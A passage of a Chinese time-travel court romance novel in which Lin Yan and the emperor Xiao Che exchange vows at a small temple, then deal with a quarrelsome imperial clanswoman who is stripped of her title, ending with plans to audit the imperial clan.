看着他一边嘀咕一边伸着脖子四处张望那副认真又有点焦急的模样,眼底的笑意藏都藏不住。 林砚越来越怀疑自己找的参考书目是不是错的, 以至于他找不到地方,这荒郊野岭的,真的有吗? 腿好酸……昨天是怎么觉得这个点很浪漫非加进来的? 保佑我保佑我,佑,千万别让我在男朋友面前掉链子。 又绕过一道长满青苔的石阶, 眼前豁然开朗。 一片小小的空地中央,静静地伫立着一座古朴的小庙。 青瓦灰墙,檐角微微起翘,挂着一个小小的铜铃,风过时,发出极轻极脆的“叮咚”声。 庙门敞开着, 能看见里面隐约的烛火光亮。 庙宇周围打扫得干干净净, 显是时常有人照料,但香火称不上鼎盛, 与月老庙摩肩接踵的盛况形成鲜明对比。 庙门上方,一块小小的匾额写着“和合庙”。 林砚总算喘上来一口气,扶着膝盖,感觉重获新生。 “陛下,我们到了。”林砚长长舒了一口气, 颇有成就感地转头看向萧彻,“就是这里了,和合二仙庙,据说很灵验的,而且清静,比城里月老庙人少多了。” 功夫不负有情人。 萧彻目光扫过那小庙:“含章果然心思巧妙,此地清幽雅致,甚好。” 心里想的却是,林砚有这份心在,远胜和合二仙。 林砚得到肯定,心情大好,先前腿酸的抱怨也抛到了脑后。 他从一直跟着的侍从手里接过那个提前准备好的箱子,里面整整齐齐地放着特制的香烛和几样新鲜瓜果贡品。 “走,陛下,我们进去。”林砚拉起萧彻的手,兴致勃勃地迈入庙门。 林砚抬头望去,只见庙内供奉着两尊眉开眼笑、憨态可掬的神像,一尊持盛开的荷花,一尊捧有盖的圆盒,正是主管婚姻和合、象征团圆美满的和合二仙。 “果然是和合二仙。”林砚小声嘀咕。 比起月老那牵扯红线、似乎更侧重于缘分寻觅的职能,这二位更像是保佑既定伴侣恩爱和睦、白头偕老的。 对他们目前的情况来说,比去人挤人的月老庙更合适,也更私密。 庙内很是清净,只有一位老庙祝在打盹。 檀香袅袅,气氛宁静祥和。 林砚按照攻略计划,取出香烛,分给萧彻,熟练地点燃,插入香炉,又摆上贡品,动作一丝不苟,仿佛在执行一项极其重要的仪式。 青烟袅袅升起,模糊了神像带笑的面容。 做完这一切,林砚率先在蒲团上跪下,见萧彻还站着,便用眼神示意,小声催促:“快来。” 萧彻撩起衣摆,与他并肩跪在了蒲团上。 跪定后,林砚双手合十,闭上了眼睛。 他并没有只是在心里默念,而是轻声地、清晰地说了出来,声音在寂静的小庙里显得格外清楚。 “和合二仙在上,信男林砚,今日与身边之人萧彻,同来参拜。” 林砚停顿了一下,似在斟酌,又似在积攒勇气,再开口时,声音近乎虔诚的温柔:“我……不知该如何说才好,遇见他,于我而言,是生命中最意想不到的馈赠,就像在一条我以为早已注定的平凡路途上,忽然看到了从未奢望过的绝美景致。” “他身份尊贵,心怀天下,有时让人觉得遥不可及,如山巅雪、云间月,可就是这样一个人,偏偏心里有我。” “我曾觉得这世间纷扰,能得一隅安身便是幸事,未曾想,竟能幸遇一人,让我心生勇气,不再只想着避世藏匿,而是愿意与他并肩,去面对所有可知与未知的风雨。” 林砚微微侧首,即使闭着眼,也能感受到身旁那人存在的强烈气息。 “萧彻,今日在二仙座前,我所言每一字,皆发自肺腑,我林砚,心悦于你,并非因你是君王,只因你是你,愿以余生相伴,苦乐相随,生死不离。” “我不求荣华极致,只求岁月长安,愿与你同心同德,如同这荷与盒,相依相合,愿尽我所能,让你喜乐,慰你辛劳,在你肩负山河之重时,能做你片刻休憩的方寸之地。” 最后,林砚声音轻柔却郑重地许愿:“信男别无所求,唯愿二仙庇佑,佑我身旁之人平安顺遂,佑我二人之情,能历岁月流转而不改,经世事变迁而弥坚。” 林砚说完了,静静地跪在那里,长长的睫毛在眼下投出一小片阴影,脸颊微微泛红,仿佛刚才那番倾诉耗尽了他所有的力气,却又带来一种前所未有的平静与坦然。 这一刻,有一颗毫无保留捧出的真心,在神佛面前,在挚爱的人身旁,热烈而沉静地跳动着。 林砚长长舒出一口气,完成了一件极其重要的大事,脸颊红得厉害,他偷偷睁开一只眼,想瞄瞄萧彻的反应。 却发现萧彻正看着他,目光深沉如同幽潭,里面翻涌着他看不太懂却足以让他心跳漏拍的情绪。 萧彻也双手合十,面向神像,他的声音低沉而平稳,不是在许愿,而是在立下誓言:“和合二仙在上,信男萧彻,今日与身边之人林砚,同来参拜。” “朕……我身为天子,言出法随,今日于此,所言每一句,亦出自真心,天地神佛共鉴。” “林砚此人,于我而言,是意外之喜,是枯燥政务之外唯一的鲜活趣致,更是我倾心所求,愿珍爱一生之人。” “我知他心性,懂他顾虑,怜他不易,亦爱他全部,包括那些不敢宣之于口的大逆不道。” “今日在此,我萧彻立誓,此生唯愿与林砚,一生一世一双人,同心同德,永不相负,若违此誓……” 林砚听到这里,猛地伸手,想要捂住萧彻的嘴,不让他说出不吉利的话。 萧彻却轻轻握住他的手腕,摇了摇头,继续说完:“若违此誓,便叫我帝星陨落,孤寂终身。” 他的目光紧紧锁着林砚,那双总是蕴藏着威严和深不可测的凤眸里,此刻只剩下浓得化不开的深情与坚定。 林砚的心被狠狠撞了一下,鼻子发酸,眼眶发热,平日里所有的插科打诨、所有的羞涩慌乱,在这一刻都沉淀了下来,只剩下巨大的感动和汹涌的爱意。 四目相对,无声胜有声。 过了好一会儿,林砚才吸了吸鼻子,有点不好意思地别开视线,小声嘟囔:“你可别反悔啊,你肩上还有江山呢,怪重的。” 萧彻低低地笑了起来,握紧了他的手。 两人又静静地跪了一会儿,才一同起身。 走出庙门,阳光洒在身上,暖融融的。 林砚看着地上两人紧挨着的影子,忽然福至心灵,脱口而出:“诶,陛下,你看我们刚才那样,又跪又拜又发誓的,像不像在拜堂啊?” 话一出口,林砚自己先愣住了。 萧彻的脚步猛地顿住,侧头看他,眼神瞬间就变了。 那里面像是骤然点起了一簇幽深的火,炙热得几乎要将人吞噬。 萧彻手臂一伸,揽住林砚的腰,将人猛地带向自己,贴近得几乎能感受到彼此的心跳。 “拜堂?”萧彻的声音压得极低,危险地响在林砚耳边,“含章可知,拜堂之后,接下来该是什么?” 林砚被他看得头皮发麻,腰间的手臂如同铁箍,温热的气息拂过耳廓,带来一阵战栗,他下意识地接话:“是、是洞房花烛夜……” “嗯。”萧彻的鼻尖几乎要蹭到他的脸颊,目光落在那张因为刚才的仪式和此刻的亲密而泛着绯色的唇上,“所以,我们方才那个,不算拜堂。” 语气还有点遗憾。 “至少,今晚没有洞房花烛夜,便不能算数。”萧彻指尖在林砚腰间轻轻摩挲了一下,声音里带上了一□□哄般的试探,暗戳戳地问,“所以,含章想什么时候,跟我正式拜堂,嗯?” 最后一个“嗯”字,尾音微微上扬,像带着小钩子,挠得林砚心尖发痒。 林砚猝不及防被问到这个,脸颊爆红,心跳如擂鼓。 拜堂? 正式的那种? 林砚还真没仔细想过那么远的事情。 和萧彻两情相悦,已经很幸福,他更多是专注于享受当下的甜蜜和相处,珍惜眼前这个人。 但是拜堂……好像也不是不行? 自己可是从现代穿过来的,什么没见过? 谈恋爱谈到一定程度,进一步那不是水到渠成的事情吗? 看着萧彻近在咫尺,写满期待和某种深意的眼眸,林砚心里那点现代人的豪情忽然就冒了上来。 他眨眨眼,努力压下羞窘,故意摆出一副“我考虑考虑”的架势:“这个嘛……我得好好想想,陛下,心急吃不了热豆腐。” 林砚伸出手指,轻轻点了点萧彻的胸膛,眼神狡黠:“再说了,我见多识广,懂得可不少,陛下不准备准备,只怕会露怯哦。” 区区古代人,看我如何拿捏。 萧彻看着林砚信誓旦旦的模样,顺着他点点头:“好,那我期待含章带给我惊喜。 他收紧手臂,将人搂得更紧,低头在他耳边落下带着笑意的轻语:“好不要让我等太久。” 声音里充满了愉悦的期待。 林砚靠在萧彻怀里,听着那似乎快了几分的的心跳,心里的小算盘打得噼啪响。 等着吧,萧彻。 到时候让你见识见识我的厉害—— 作者有话说:心美哥:你有多厉害朕不知道,朕只知道卿接个吻都会软 第86章 第 86 章 今天是什么日子?怎么走…… 林砚被萧彻撩得耳根发烫, 强撑着那点“现代人见多识广”的虚势,从萧彻怀里挣出来,眼神飘忽地嚷嚷:“走、走吧, 再磨蹭天都要黑了。” 萧彻松开手, 只是那目光依旧胶着在林砚泛红的耳廓上,毫不掩饰自己直白的眼神。 没有沿着原路返回, 而是走了另外一条路,方便回到官道上去。 林砚手里那份攻略算是彻底废了, 计划赶不上变化,谁能料到又是撞破同僚私情又是差点现场拜堂的。 他干脆把那张纸塞进袖子里,破罐破摔地想:随缘吧,反正跟萧彻在一块儿,蹲路边看蚂蚁搬家都行。 没上官道前, 这条路要更安静些,游人几乎绝迹,只闻鸟鸣溪声,风吹过竹林发出簌簌轻响。 走着走着,前方隐约传来一阵喧哗笑语,似乎人还不少。 林砚下意识就想拉着萧彻绕开, 今天受到的“惊喜”已经够多了。 然而不等他们转向, 绕过一片茂密的翠竹,眼前景象豁然开朗。 一处较为开阔的溪畔缓坡上, 聚集着十几位衣着光鲜年轻公子哥,一看便知非富即贵。 他们或坐或立,散落在蜿蜒流过的人工浅溪旁,溪水清澈,漂浮着一个个木制的小托盘, 上面托着酒盏,顺着水流缓缓漂动。 显然,这群富贵闲人正在玩曲水流觞的古雅游戏。 林砚和萧彻的出现,并未立刻引起他们的注意。 这些人正玩到兴头上,注意力全在那些随波逐流的酒杯上,偶尔有人取杯饮尽,便引来一阵哄笑或叫好,气氛热烈又略显吵闹。 林砚拉着萧彻,下意识地放轻脚步,想从边缘悄无声息地绕过去。 他对这些京城顶级纨绔圈的娱乐活动没什么兴趣,更不想上前凑热闹,万一里面有几个认得萧彻的,那场面可就不好收场了。 两人尽量降低存在感,沿着坡地的边缘缓缓前行。 离得近了,那些公子哥儿的谈笑声便清晰地飘入耳中。 起初还夹杂着几句勉强算是“诗”的句子,什么“春水绿如蓝”、“柳絮随风舞”,水平堪堪停留在蒙童阶段,甚至还有驴唇不对马嘴的。 很快,那点勉强的文雅就绷不住了,话题迅速滑向京城吃喝玩乐指南。 “要我说,还是八宝楼的炙羊肉最是一绝!那火候,那调料,绝了!” “啧,炙羊肉有什么吃头?满嘴油腥!要尝鲜还得是望江楼的清蒸鲥鱼,那才叫时令美味!” “你们啊,俗!春风得意楼新来的那位琴师,那才叫妙人!手指一拨,哎哟喂,骨头都酥了……” “得了吧,听曲儿有什么劲?西市新开了家斗鸡场,那才叫刺激!下回带你们去开开眼!” “斗鸡?粗鄙!要我说,还是去南湖画舫上喝花酒有意思,美人相伴,湖光山色,那才是享受!” 林砚听得嘴角微抽。 好家伙,这就是大渝朝顶级二代们的日常吗? 讨论的话题从酒楼菜品质量一路滑坡到勾栏瓦舍节目评级,最后稳定在“哪家茶楼说书先生段子更黄暴更下饭”上。 真是……朴实无华,且枯燥。 他偷偷瞟了一眼身旁的萧彻。 皇帝陛下脸上没什么表情,但眼神里那点嫌弃的意味简直要凝成实质。 林砚赶紧拽了拽他的袖子,用眼神示意:快走快走,再看下去我怕你忍不住现场罢免几个人的爹。 萧彻收回目光,几不可察地摇了下头,显然也对这堆人感到些许绝望。 果然还是应该逐步取消大范围的荫蔽。 两人达成共识,加快脚步,只想赶紧离开这片充斥着酒气和肤浅谈笑的“雅集”现场。 幸好那群公子哥儿玩得投入,压根没人留意到不远处有一群“不速之客”悄然路过。 刚走出这片喧闹之地,重新步入清静的林荫小道,林砚刚松了口气,却见前方官道旁,似乎又围了一小圈人,隐约还有争执声传来。 林砚:“……” 今天是什么日子?怎么走哪哪有事? 不应该啊,上巳节这种宜踏青的日子,还不宜出门? 林砚看向萧彻,用眼神询问:绕路? 萧彻微微蹙眉,目光投向那围聚的人群,似乎想看清是怎么回事。 就在这时,一道略显尖锐的女声拔高,穿透了嘈杂:“吓哭了孩子还有理了?看你长得人高马大,穿得也不像寻常人家,怎地如此不讲道理?快给我孙儿道歉!” 紧接着,一个更加倔强、带着明显异域口音的女声毫不示弱地反驳:“我兄长长得凶又不是他的错,是你们自己胆子小,孩子哭了不赶紧抱走哄,反倒赖我们?凭什么道歉!” 嗯? 这声音有点耳熟? 林砚脚步一顿,和萧彻对视一眼,都从对方眼里看到了同样的猜测。 萧彻朝身后微一颔首。 一直如同影子般跟在稍远处的金九立刻会意,身形一闪,悄无声息地靠近了那圈人群,片刻后又如同鬼魅般退回,低声禀报:“陛下,是北戎王子阿古拉和公主其木格,与一老妇起了争执,起因是那老妇的孙儿被阿古拉王子的相貌惊吓得啼哭不止,要求阿古拉道歉,阿古拉不肯,其木格公主正在与之理论。” 林砚一听,果然是他们。 这兄妹俩在大渝京城也待了有一段时日了,除了上次宫宴阿古拉发神经当众求娶他,平时还算老实,深居简出,林砚都快忘了他们的存在了。 没想到今天在这郊外还能碰上,一碰上就是纠纷。 萧彻闻言,眉头蹙得更紧了些。 金九又补充了一句:“那老妇,是荣阳郡君,其父是已故的荣王幼子,论起来,与陛下您算是远支宗亲,有一点微末的血缘关系。” 荣阳郡君?萧彻在脑中过了一遍宗室名录,才勉强对上号。 一个仗着点几乎可以忽略不计的皇室血脉,平日里最爱摆架子、惹是生非的老太太。 林砚也听到了金九的话,心下了然。 原来是宗室的老郡君,怪不得口气这么冲,敢指着北戎王子的鼻子要求道歉。 阿古拉怎么说也是北戎王子,大渝的归义郡王,寻常官眷见了也得客气几分。 这老郡君怕是横行惯了,又见对方是“蛮夷”,便更不放在眼里。 而阿古拉那个脾气,典型的北戎汉子,直来直去,觉得男人就不该哭哭啼啼,更不认为孩子被自己吓哭是他的错,让他道歉,简直是奇耻大辱。 其木格虽比哥哥圆滑些,但涉及到王兄和北戎的颜面,也绝不会退让。 两边就这么杠上了。 萧彻身为皇帝,自然不便在这种场合直接露面处理这种鸡毛蒜皮的口角纠纷,尤其另一方还是宗室女眷,容易落人口实。 林砚主动请缨:“陛下,我去看看吧,总不能让他们在官道上一直吵着,堵着路也不像话。” 萧彻点头:“让金九护着你。” “嗯。”林砚整了整衣袍,深吸一口气,脸上挂起温和中带着疏离的官方表情,朝着那圈人群走去。 金九无声地跟上,保持着一个既能随时护卫又不至于太引人注目的距离。 围观的百姓见有人过来,下意识地让开一条道。 林砚走到圈内,只见阿古拉脸色铁青,胸膛起伏,显然气得不轻,其木格则挡在兄长身前,正与一位穿着绛紫色缠枝牡丹纹锦缎褙子,头戴珠翠,面色倨傲的老妇人争得面红耳赤。 那老妇人怀里抱着一个约莫四五岁,哭得抽抽噎噎的小男孩。 “怎么回事?官道之上,如此喧哗,成何体统?”林砚的声音不高,但带着一股自然的官威,瞬间吸引了所有人的目光。 荣阳郡君闻声转过头,见来的人是林砚,瞬间更有底气了:“林大人来得正好,你给评评理,这蛮子吓哭了我的金孙,我好声好气让他道个歉,他竟还敢瞪我,天底下哪有这样的道理?” 其木格立刻反驳:“分明是你家孩子自己胆小!我王兄站在这儿一动没动,他自己看了就哭,与我们何干?你们不赶紧把孩子抱开,反倒纠缠不休,非要我们道歉,我们到大渝不是来受辱的!” 阿古拉也闷声闷气地憋出一句:“不道歉!” 林砚听得头疼,就是这点破事。 这个荣阳郡君活了这么久还没有活明白吗?阿古拉真道歉了,大渝和北戎之间差不多就要开战了,到时候怎么办? 他先看向其木格和阿古拉,微微颔首,算是打过招呼,然后目光转向荣阳郡君,语气平和:“原来是荣阳郡君,下官林砚,见过郡君。” 荣阳郡君听到林砚如此客气,脸色稍霁,带着点倚老卖老的得意:“哦?你认得我?既如此,你便说说,这事是不是他们无礼?” 林砚没接她的话茬,反而看向她怀里那个还在啜泣的孩子,放缓了声音道:“郡君,小公子受惊啼哭,还是先安抚孩子要紧,官道之上车马人来人往,惊着了反而不美,不如先让嬷嬷带小公子到一旁歇歇?” 荣阳郡君一愣,似乎没想到林砚不直接评判对错,反而先关心孩子。 她下意识地紧了紧抱着孙子的手,语气却依旧强硬:“我的孙儿我自会安抚,但这事必须说清楚,他们必须道歉!” 林砚心里翻了个白眼,这老太太真是油盐不进。 脸上依旧维持着得体的微笑,林砚声音却稍稍冷了几分:“郡君,依下官看,此事原委清晰,阿古拉王子并未有任何冒犯之举,只是相貌异于常人,孩童心性,骤然见到感到害怕也是常情,王子与公主殿下并非有意惊吓,更无过错,谈何道歉?” 林砚目光扫过周围竖着耳朵听的百姓,意有所指地道:“郡君疼爱孙儿之心可以理解,但因此便强要一位并无过错的郡王道歉,未免有些强人所难,况且,阿古拉王子与公主代表北戎而来,关乎两国邦交,郡君如此执着于一句道歉,若传扬出去,知道的说是郡君爱孙心切,不知道的,还以为我大渝宗亲仗势欺人,苛待远客呢,郡君您说,是不是这个理?” 这一番话,既点明了阿古拉的身份,又抬出了两国邦交的大帽子,还暗指她行为不当可能损害宗室和大渝声誉。 荣阳郡君被噎得脸色一阵青一阵白,她跟林砚只打过照面没打过交道,不知林砚如此牙尖嘴利,句句戳在要害上。 她当然知道阿古拉是北戎王子,有爵位在身,但她平日里仗着宗室身份横行惯了,哪里会把一个“蛮夷”质子放在眼里?此刻被林砚当众点破,脸上顿时有些挂不住。 周围百姓的窃窃私语声也隐约传来,似乎都在认同林砚的话。 荣阳郡君顿觉下不来台,恼羞成怒之下,也顾不得许多了,指着林砚尖声道:“好哇林砚!你在陛下跟前得了几分脸面,就敢来教训起我来了?” 她越说越气,声音拔得更高,带着明显的威胁:“你可知我是什么身份?我是荣阳郡君,是上了玉牒的宗室,与陛下是同宗!你今日为了两个蛮夷落我的脸面,你可知后果?别以为陛下如今宠信你,你就能无法无天,信不信我回头就让你吃不了兜着走?你有个妹妹是吧?还有你娘……哼!” 这话一出,气氛瞬间降至冰点。 其木格和阿古拉都愣住了,显然没想到这老妇如此泼辣蛮横,竟敢直接威胁朝廷命官及其家眷。 林砚脸上的笑容瞬间消失得无影无踪。 他原本只想息事宁人,赶紧把这破事了结,大家各回各家。 可这荣阳郡君,竟然敢用妹妹和母亲来威胁他? 林砚的眼神骤然冷了下来,他上前一步,目光锐利,周身那股温和的气息荡然无存,取而代之的是一种居于上位的压迫感。 “郡君。”林砚的声音冷得可怕,“你方才说什么?下官没听清,可否再说一遍?” 荣阳郡君被他这突如其来的气势变化吓得心头一悸,下意识地后退了半步,但旋即又强撑着挺起胸膛,色厉内荏地重复:“我说,你今日得罪了我,我定要你好看!你妹妹和你娘……” “很好。”林砚打断她,“郡君的话,下官听清了,也记下了。” 他目光扫过周围那些同样被吓住的百姓,以及脸色微变的其木格和阿古拉,最后重新落回荣阳郡君那张惊疑不定的脸上,缓缓开口:“官倒要看看,郡君要如何让下官吃不了兜着走,又要如何‘关照’下官的妹妹与母亲。” 林砚微微倾身,逼近一步,盯着荣阳郡君的脸:“荣阳郡君,我们,拭目以待。” 第87章 第 87 章 ber?你近视眼?…… 林砚懒得再跟这脑子不清醒的老太太多费口舌, 他转向阿古拉和其木格,语气恢复了公事公办的平静:“王子殿下,公主殿下, 今日之事原是一场误会, 惊扰二位了,官道喧杂, 不宜久留,二位殿下的车驾在何处?下官送二位上车。” 其木格松了口气, 连忙指向不远处停着的一辆装饰着北戎特色的马车:“在那边,有劳林大人。” 阿古拉却还瞪着铜铃大的眼睛,气鼓鼓地瞪着荣阳郡君,显然余怒未消,被其木格暗中掐了一把, 才不情不愿地跟着林砚往马车走去。 荣阳郡君被林砚那最后一句“拭目以待”噎得脸色铁青,见他竟真敢把自己晾在原地,转身就去送那两个蛮夷,顿时觉得颜面扫地,怒火攻心,也顾不上什么郡君仪态了, 尖声叫道:“林砚!你给我站住!谁准你就这么走了?这事还没完!” 林砚脚步顿都没顿, 仿佛根本没听见。 荣阳郡君气得浑身发抖,竟想上前去拉扯林砚。 一直默不作声如同背景板般的金九, 如同鬼魅般悄无声息地横移一步,恰好挡在了荣阳郡君和林砚之间。 他什么也没说,只是那双毫无情绪波动的眼睛冷冷地扫了荣阳郡君一眼。 荣阳郡君被他看得心里猛地一寒,所有动作瞬间僵住,一股凉气从脚底板直冲天灵盖, 再不敢上前半步。 林砚顺利地将阿古拉和其木格送到他们的马车旁。 其木格再次道谢:“多谢林大人解围。” 阿古拉却看着林砚,那双总是带着野性和直白的眼睛里,此刻竟流露出一种极为复杂的情绪,犹豫、挣扎,还有一丝林砚看不懂的执拗。 晰:“林大人。” 林砚下意识抬头:“王子殿下还有何吩咐?” 阿古拉盯着他,像是下定了某种决心,语出惊人:“你在大渝,过得并不痛快,是不是?你们的皇帝,他……他虽看重你,但你这样的性子,留在这样的地方,整日与这些虚伪傲慢之人周旋,早晚会憋闷死!” 林砚:“???”大哥你从哪里得出的结论? ber?你近视眼? 阿古拉现在最需要的就是一包溜溜梅。 阿古拉仿佛没看到林砚那一脸“你没事吧”的表情:“我们北戎不一样,草原辽阔,天高地远,没这么多讨厌的规矩和心眼,你这样的聪明人,到了草原,一定能大展拳脚!” 他越说越激动,甚至上前一步,目光灼灼地盯着林砚:“林砚,我是真的心悦你,如果你在大渝待不下去了,或者哪天厌烦了这里,我阿古拉,愿意以草原最隆重的礼节,迎娶你做我的王子妃,我发誓,此生只你一人,绝不再娶!草原上的雄鹰,从不说谎!” 林砚彻底石化在原地,大脑再次被“王子妃”三个字刷屏。 不是,这都过去多久了?宫宴上的闹剧还不够吗?怎么这位仁兄还惦记着这一茬儿? 草原上的风就这么大吗?阿古拉的脑子都风蚀了。 其木格在一旁听得脸都绿了,恨不得当场把她哥的嘴缝上,急得直拽阿古拉的袖子:“王兄!你胡说什么呢!快上车!” 还想撬大渝皇帝的墙角,人家林大人年纪轻轻就是户部侍郎,哪里不痛快了?哪里在大渝待不下去了? 林砚从巨大的荒谬感中回过神,只觉得额角青筋突突直跳,他深吸一口气,努力维持着礼貌而不失尴尬的微笑:“王子殿下厚爱,林砚惶恐,只是林砚生是大渝人,死是大渝鬼,并无他念,殿下还是请回吧。” 说完,他生怕阿古拉再说出什么惊世骇俗的话,赶紧对一旁的北戎侍从使了个眼色。 侍从会意,连请带扶地将还在那“我是真心的”阿古拉弄上了马车。 其木格匆匆对林砚行了个礼,也赶紧钻进了马车,车帘落下,隔绝了阿古拉可能还在嚷嚷的声音。 马车迅速启动,逃也似的离开了这是非之地。 林砚看着那远去的马车,无比心累。 他揉了揉眉心,转身也想赶紧离开这个让他身心俱疲的地方。 然而,荣阳郡君显然不打算就这么放过他。 她被金九那一眼吓住,没敢再上前动手,但嘴却没闲着。 见林砚打发走了北戎人,似乎也要走,立刻又尖声叫嚷起来:“林砚!你想走?没那么容易!今日你不给我和孙儿一个交代,我绝不放你离开!你别以为有陛下给你撑腰就能为所欲为!宗室的脸面不是你能踩的!” 林砚脚步一顿,今天的约会没能完满落幕,心里的烦躁达到了顶点。 他今天的好心情已经被破坏得一干二净,实在没耐心再跟这个胡搅蛮缠的老太太耗下去。 他冷冷地回头,看了荣阳郡君一眼,那眼神里的寒意让荣阳郡君下意识地缩了一下脖子。 但林砚什么都没说,只是对金九微微颔首。 金九立刻会意,上前一步,什么废话都没有,直接从怀中掏出一面玄铁令牌,高高举起。 阳光下,那令牌上的狰狞龙纹和巨大的“御”字,反射出冰冷而威严的光芒。 “见此令,如陛下亲临!” 周围原本还在看热闹的百姓吓得哗啦啦跪倒一片,头都不敢抬。 荣阳郡君脸上的嚣张气焰瞬间凝固,像是被人掐住了脖子,眼睛瞪得溜圆,难以置信地看着那面令牌,脸色唰地一下变得惨白。 御令!竟然是能代表皇帝本人的御令! 林砚手里怎么会有这个东西? 巨大的恐惧瞬间攫住了她,让她双腿发软,几乎站立不住。 她可以仗着宗室身份跟林砚叫板,甚至可以私下放几句狠话,但她绝不敢在代表皇帝的御令面前有丝毫放肆。 荣阳郡君再顾不得什么郡君体面,拉着还在抽噎的小孙子,踉跄着跪倒在地,声音发抖:“臣、臣妇叩见陛下,万岁万岁万万岁……” 她伏在地上,连头都不敢抬,浑身抖得如同风中落叶。 林砚看都懒得再看她一眼,不想搭理这个前倨后恭的老太太,对金九道:“走吧。” 金九收起令牌,默不作声地跟上。 林砚径直走向自家那辆看起来毫不起眼的青幔马车。 车辕上,驾车之人低着头,帽檐压得有些低。 林砚心情郁躁,也没多留意,伸手就要去掀车帘。 就在他的手即将碰到车帘时,那只手却从里面被一只骨节分明的大手轻轻握住。 林砚一愣。 车帘从里面被掀开一角,露出萧彻深邃的眼眸和紧抿的唇线。 看起来萧彻的心情不太妙。 萧彻手上微微用力,将他拉上了马车。 车帘落下,隔绝了外面的世界。 马车内部比林砚那辆要宽敞舒适得多,角落里固定着一盏小灯,散发着柔和的光晕。 萧彻握着他的手没有松开,反而将人拉到身边坐下,另一只手抬起,指尖轻轻拂过林砚还微蹙着的眉心,语气放柔了些:“委屈你了。” 林砚直到这时才彻底反应过来,刚才外面发生的一切,萧彻恐怕都看到了听到了。 林砚把脑袋往萧彻肩上一靠,叹了口气:“唉,流年不利,出门没看黄历,碰上这么个胡搅蛮缠的主儿,还附赠一个脑子缺根筋的阿古拉。” 萧彻搂在林砚腰间的手臂收紧了些:“阿古拉的话,你不必放在心上。” “我当然没放在心上。”林砚失笑,“他那个脑子,跟正常人不在一个层面上,我跟他计较什么?” 萧彻“嗯”了一声,脸色稍霁,但想到荣阳郡君那番作态,眼神又冷了下来:“至于那个荣阳郡君……” 林砚玩笑道:“陛下打算怎么帮我报仇?也吓哭她孙子?” 他本是随口一说,想让气氛轻松点。 谁知萧彻却认真地看着他,点了点头:“好。” 林砚:“???” 好什么? 没等林砚反应过来,萧彻便扬声道:“李德福。” 一直如同隐形人般守在车外的李德福立刻应声:“老奴在。” “回宫后,即刻拟旨。”萧彻的声音透过车帘传出,“荣阳郡君,言行无状,冲撞朝廷命官,亵渎御令,更兼口出恶言,威胁官眷,实不堪郡君之位,着,即日起废黜其郡君封号,收回一切相应供奉,钦此。” 林砚听得目瞪口呆:“陛下你来真的?我就是说着玩的。” 他真没想给萧彻吹枕边风。 废黜封号这惩罚可比吓哭孩子严重多了。 萧彻垂眸看着他,眼神深沉而认真:“君无戏言,她敢那般折辱你,威胁你母亲跟妹妹,便是触碰了朕的底线,朕若是连自己心爱之人都不保护,任由旁人欺辱,朕这个皇帝,当着还有什么意思?” 心爱之人…… 萧彻还没完,继续对车外的李德福道:“再拟一道旨,林门文氏,教子有方,温良贤淑,着加封为正三品郡君,赐号‘仁寿’,享双俸。” 林砚彻底懵了。 废一个,立一个? 这动静也太大了吧? “陛下,这不好吧?”林砚有点慌,“我娘她性子淡泊,怕是受不住这般隆恩……” “她受得住。”萧彻语气笃定,“你和你父亲为国操劳,恩荫文夫人是常理,郡君而已,她当得起。” 萧彻轻轻捏了捏林砚的手,眼底带着一丝深意:“况且,有了这个身份,日后那些魑魅魍魉,再想动什么心思,也得先掂量掂量,朕不光要对你好,也要讨好讨好丈母娘不是?” 林砚被萧彻那句“讨好丈母娘”说得耳根一热,嘟囔道:“什么丈母娘……陛下慎言。” 萧彻低笑,不再逗他,只将人又揽紧了些。 马车缓缓驶动,离开了这片令人不快的纷扰之地。 车内一时安静下来,林砚靠在萧彻肩头,听着车外渐起的市井人声,心里那点郁气渐渐被身边人温热的体温和沉稳的心跳抚平。 他忽然想起萧彻方才那句关于整顿宗室的话,便仰头问道:“陛下方才说,要借机整顿宗室,是认真的?” “自然。”萧彻指尖绕着他一缕发丝把玩,语气却带着帝王的冷肃,“宗室积弊已久,冗员众多,奢靡成风,甚至不乏欺压百姓、鱼肉乡里之辈,国库的钱粮,不是用来养这些蛀虫的,朕登基的时日不算长,之前腾不出手,也缺一个合适的契机,如今有人自己撞上来,正好杀鸡儆猴,彻查一番。” 林砚闻言,方才那点慵懒一扫而空,瞬间坐直了身体:“要查账?清查田亩、食邑、各项恩赏支出?这个我在行啊陛下!” 他掰着手指头,眼里闪烁着跃跃欲试的光芒:“先从各家郡王、国公府查起,这些才是大头!账目、田契、库房清单,一样样核对,还有那些挂着宗室名头经商放贷、与民争利的,都得捋清楚,保证把他们的底裤……底细都查个明明白白!” 萧彻看着他这副瞬间从懒散小猫切换到精明算盘的模样,忍不住失笑,抬手捏了捏他的鼻尖:“好,这事就交给户部、都察院协同办理,给你旨意,放手去做,不必顾忌谁的面子。” “臣领旨!”林砚笑得见牙不见眼,仿佛已经看到无数本等待他翻阅的账册和一个个即将被揪出来的蠹虫,“陛下放心,保证给陛下省出一大笔银子来,到时候充盈国库,陛下想修水利、练新军,都有底气!” 光是想想,林砚就觉得干劲十足。 萧彻看着他兴奋得发亮的脸颊,心底一片柔软。 他的含章,就是这般好。 “嗯,都依你。”萧彻纵容地应着,“只是也别太累着自己,慢慢来,朕不急着这一时半刻。” “知道知道。”林砚嘴上应着,心思显然已经飞到了如何开展审计工作上,开始琢磨该先从哪家下手,带哪些人去查。 马车在丹园门口停下。 萧彻先下了车,很自然地回身伸手扶林砚。 林砚搭着他的手跳下车,一下车就忍不住伸腿蹬脚,马车坐久了难受得很。 萧彻拉着林砚的手往里走:“折腾了半日,饿了吧?朕让人传膳。” 不提还好,一提林砚确实觉得肚子空空的。 今天的运动了已经远超他一个常坐办公室的人应有的量了。 伺候的人早已备好了温水帕子。 两人净了手,晚膳也很快摆了上来。 依旧是林砚喜欢的口味,热气腾腾,香气扑鼻。 萧彻吃得不多,大多时候只是看着林砚吃,偶尔给他夹一筷子菜。 饭后,撤去残席,奉上清茶。 两人依偎着静静地看了许久的庭前春花,直到天色渐黑。 又坐了一会儿,眼看着时辰不早,林砚便起身告辞:“陛下,我该回家了。” 萧彻虽然不舍,但也不是急色之人,点头道:“嗯,让金九护送你回去,今日委屈你了,好好歇息。” “哪有委屈。”林砚笑起来,眼睛弯弯的,“陛下都给臣出气了。” 他说着,飞快地凑上前,在萧彻唇上啄了一下,然后像只偷腥成功的猫,迅速退开,挥挥手:“臣告退啦!” 说完,不等萧彻反应,便脚步轻快地叫他金九回林府。 萧彻摸着还残留着柔软触感的唇角,无奈又宠溺地摇了摇头。 真是,跑得倒快—— 